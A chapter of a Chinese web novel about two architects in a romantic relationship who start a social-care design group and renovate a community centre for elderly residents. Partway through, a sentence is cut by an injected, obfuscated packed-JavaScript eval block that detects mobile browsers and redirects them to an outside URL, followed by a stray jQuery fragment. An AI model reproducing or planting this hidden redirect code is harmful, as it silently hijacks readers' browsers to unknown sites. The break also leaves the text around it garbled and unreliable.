十月，北京进入了最美的季节。
梧桐叶开始泛黄，银杏路上铺了薄薄一层金色。顾怀瑾和林溪的工作室筹备正式提上日程——不是独立的公司，而是事务所内部一个专门的社会关怀建筑研究组。
“研究组”这个名字是林溪想的：“我们不只是在做项目，也是在探索一种新的建筑实践方式。研究，听起来更符合这个定位。”
顾怀瑾在会议室的白板上写下一行字：“筑光研究组——建筑为人，设计为心”。
“这是我们组的核心理念。”他对面前的五名组员说，“从今天开始，我们接手的每一个项目，都要先问三个问题：一，这个建筑真正为谁服务？二，它能给使用者带来什么价值？三，我们如何用最有限的资源，实现最大的社会效益？”
组员是顾怀瑾亲自挑选的：两个有公益项目经验的年轻建筑师，一个擅长成本控制的工程师，一个熟悉政策法规的规划师，还有林溪。
“林溪将担任项目总监。”顾怀瑾宣布时，会议室里安静了一瞬。
有人露出了然的表情，有人眼神复杂。林溪知道他们在想什么——他才二十三岁，入职不到一年，凭什么？
“云岭村项目从设计到施工的全过程文件，我已经发到各位邮箱。”顾怀瑾接着说，“这是林溪独立负责的第一个完整项目。成本控制、设计创新、在地协作，这三方面的表现，你们可以自己评估。”
会后，林溪在茶水间遇到了陆深——事务所的另一位合伙人，也是顾怀瑾多年的朋友。
“压力大吧？”陆深递给他一杯咖啡，“二十二岁的项目总监，整个行业都少见。”
林溪接过咖啡，苦笑道：“陆总也认为我太年轻了？”
“不，我认为顾怀瑾眼光毒。”陆深靠在吧台上，“他看人从来没看错过。云岭村那个天窗设计我看过，很巧妙，不是教科书里能学来的东西。那是真正理解了当地、理解了使用者之后，才能做出的设计。”
他顿了顿：“我只是提醒你，这个位置会吸引很多目光。做得好，是应该的；做得不好，会被放大十倍。你要有心理准备。”
林溪点头：“我知道。所以更要把每个项目都做到最好。”
“第一个项目定了吗？”
“定了。”林溪眼睛亮起来，“东城区一个老旧社区的活动中心改造。预算只有八十万，但社区里住着三百多户老人，他们需要一个能聚会、能活动、能互相照应的空间。”
陆深挑眉：“八十万？在北京？连装修都不够吧？”
“所以要想办法。”林溪说，“我们准备用‘居民共建’的模式。社区里有不少退休的木工、电工、水暖工，他们愿意提供技术。我们出设计，居民出劳力，街道办协调资源。这样能把人工成本降到最低。”
“有意思。”陆深笑了，“这确实是顾怀瑾的风格——不按常理出牌，但总能找到解决问题的办法。”
正说着，顾怀瑾走进茶水间，自然地走到林溪身边，接过他手里的咖啡喝了一口：“在聊什么？”
“聊你的‘筑光研究组’。”陆深说，“老顾，你这次玩得有点大。社会关怀建筑在国内还没形成成熟模式，你们这是要趟出一条路来。”
“总要有人先走。”顾怀瑾平静地说，“而且，这条路已经有很多人在走了——那些在乡村教书的老师，在社区服务的志愿者，在工地挥汗如雨的工人。我们只是用专业能力，给他们搭个更好的舞台。”
陆深看了他们一眼，忽然笑了：“行，你们俩搭档，我倒是很期待能做出什么来。需要帮忙就说。”
他离开后，顾怀瑾转向林溪：“紧张吗？”
“有一点。”林溪老实说，“但更多的是兴奋。终于可以真正按照自己的想法去做事了。”
“那就按你的想法去做。”顾怀瑾揉了揉他的头发，“记住，我是你的后盾，不是你的上司。在这个组里，你是项目总监，所有决策你来做，我配合。”
林溪看着他，心里涌起一股暖流：“你就不怕我把项目搞砸了？”
“怕。”顾怀瑾诚实地说，“但我更怕你不去尝试。林溪，犯错不可怕，可怕的是因为害怕犯错而不敢前进。”
他顿了顿，声音轻柔下来：“而且我相信你。相信你的能力，也相信你的心。”
茶水间的窗户开着，秋风吹进来，带着落叶的沙沙声。林溪忽然觉得，这一刻的顾怀瑾，比他见过的任何时候都更让人心动。
不是那个在讲台上光芒四射的建筑师，不是那个在工地上严肃认真的工程师，而是眼前这个人——愿意放手让他飞，又随时准备在他累的时候，给他一个肩膀。
“顾怀瑾。”林溪轻声叫他。
“嗯？”
“今晚回家，我给你做饭吧。”林溪说，“我学会做红烧肉了。”
顾怀瑾的眼睛弯起来：“好。”
---
社区活动中心的项目比想象中更难。
第一次居民见面会，林溪就遇到了难题。三十多位老人挤在社区狭小的会议室里，七嘴八舌地提要求：
“要有棋牌室！我们老年人就爱打个麻将。”
“不行不行，麻将室太吵了，要有读书看报的地方。”
“最好有个小厨房，我们能自己做点吃的。”
“还要有医疗角，量量血压什么的。”
林溪飞快地记录着，白板上密密麻麻写满了需求。但预算只有八十万，不可能满足所有要求。
“各位叔叔阿姨，”他提高声音，“大家的想法我都记下了。但咱们的预算有限，我们需要排个优先级——哪些是最急需的？哪些可以暂时放一放？”
老人们又争论起来。眼看会议要失控，一位坐在角落的老爷爷开口了：“都别吵了。”
声音不大，但很有威严。会议室安静下来。
“我是老赵，在这个社区住了四十年。”老爷爷站起来，慢慢走到白板前，“刚才大家说的，都是‘想要’的。但咱们得先想想，‘需要’什么。”
他用手指点了点几个关键词：“活动空间——必须有。咱们这些老骨头，得有个地方活动，不然就僵了。厕所——现在的公厕在小区那头，腿脚不好的去一趟都费劲。安全——老房子电线老化，得重新排线，这是保命的。”
他转身看着大家：“至于麻将桌、厨房那些，有了当然好，没有也能凑合。但活动空间、厕所、安全，这三样没有，这活动中心建了也是白建。”
一番话有理有据，大家都服气。林溪感激地看着老赵：“赵爷爷说得对。那我们先把这三项作为一期工程的核心。”
会后，老赵留了下来：“小林啊，我看你年纪不大，做事倒踏实。”
“还要多向您学习。”林溪诚恳地说。
“我退休前是机械厂的工程师。”老赵说，“画了一辈子图纸，知道设计不容易。你们这个预算……确实紧。”
他从口袋里掏出一个小本子：“这是社区里能帮忙的人手名单。老王是退休电工，老李是水暖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193515|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
工，我自己懂点结构。人工这块，我们能自己解决一部分。”
林溪眼睛亮了：“太好了！这样我们就能把有限的资金用在材料和关键工序上。”
“还有个事。”老赵压低声音，“社区东边那排平房，是七十年代建的，现在空着。街道办本来打算拆了建停车位，但我觉得……如果能改造利用，比新建省钱多了。”
这个建议让林溪茅塞顿开。他立刻跟着老赵去看了那排平房——虽然破旧，但结构还算完整。最重要的是，位置在社区中心，老人们走过来都方便。
“我回去做方案！”林溪兴奋地说，“如果能改造，预算至少能省下三分之一！”
---
晚上九点，顾怀瑾回到家时，屋里飘着红烧肉的香味。
林溪系着围裙在厨房忙碌，灶台上小火炖着肉，旁边还炒了两个菜。暖黄的灯光照在他身上，有种居家的温暖。
“回来了？”林溪回头看他，“洗手吃饭，马上好。”
顾怀瑾没动，靠在厨房门框上看他。林溪的刘海有点长了，垂下来遮住一点眉眼。他专注地看着锅里的菜，侧脸在灯光下显得格外柔和。
这个画面，顾怀瑾想，是他以前从不敢奢望的——结束一天的工作，回到家，有个人在等他，为他做饭，和他分享一天的喜怒哀乐。
“看什么？”林溪被他看得不好意思。
“看你。”顾怀瑾走过去，从背后抱住他，下巴搁在他肩上，“我男朋友真贤惠。”
林溪耳朵红了，用手肘轻轻碰他：“别闹，菜要糊了。”
顾怀瑾不松手，反而收紧手臂，在他颈侧蹭了蹭：“今天累吗？”
“累，但值得。”林溪关火，转过身来，面对着他，“赵爷爷给了我一个特别好的建议，改造旧平房，能省好多钱。”
他眼睛亮晶晶地讲着白天的发现，讲老赵的工程师背景，讲社区里隐藏的能工巧匠。顾怀瑾静静听着，偶尔问一两个问题。
等林溪说完，饭菜已经摆上桌了。红烧肉炖得酥烂，青菜翠绿，还有一个西红柿鸡蛋汤。
“尝尝。”林溪期待地看着他。
顾怀瑾夹了一块肉，认真品尝，然后点头：“好吃。比我做得好。”
“真的？”林溪眼睛亮了。
“真的。”顾怀瑾又夹了一块，“不过下次别放这么多糖，太甜了对身体不好。”
“知道啦，顾老师。”林溪笑着给他盛汤。
饭桌上，两人边吃边聊。顾怀瑾说了事务所的其他项目进展，林溪讲了改造方案的新思路。话题从工作到生活，从建筑到美食，自然得像已经这样生活了很多年。
吃完饭，顾怀瑾洗碗，林溪在旁边擦桌子。水声哗哗，灯光暖暖，小小的厨房里弥漫着寻常却珍贵的烟火气。
“林溪。”顾怀瑾忽然开口。
“嗯？”
“谢谢你。”顾怀瑾的声音很轻，“谢谢你让我知道，家应该是这样的。”
林溪停下手里的动作，看向他。水汽氤氲中，顾怀瑾的侧脸显得格外温柔。
他走过去，从背后抱住顾怀瑾，脸贴在他背上：“也谢谢你，让我知道爱应该是这样的——互相支持，共同成长，在平凡的日子里，找到不平凡的意义。”
顾怀瑾擦干手，转身把他搂进怀里。两人在厨房暖黄的灯光下静静相拥，听着彼此的心跳。
窗外，秋夜深了。但屋里的灯亮着，照亮了两个相爱的人，也照亮了他们共同筑起的，小小的家。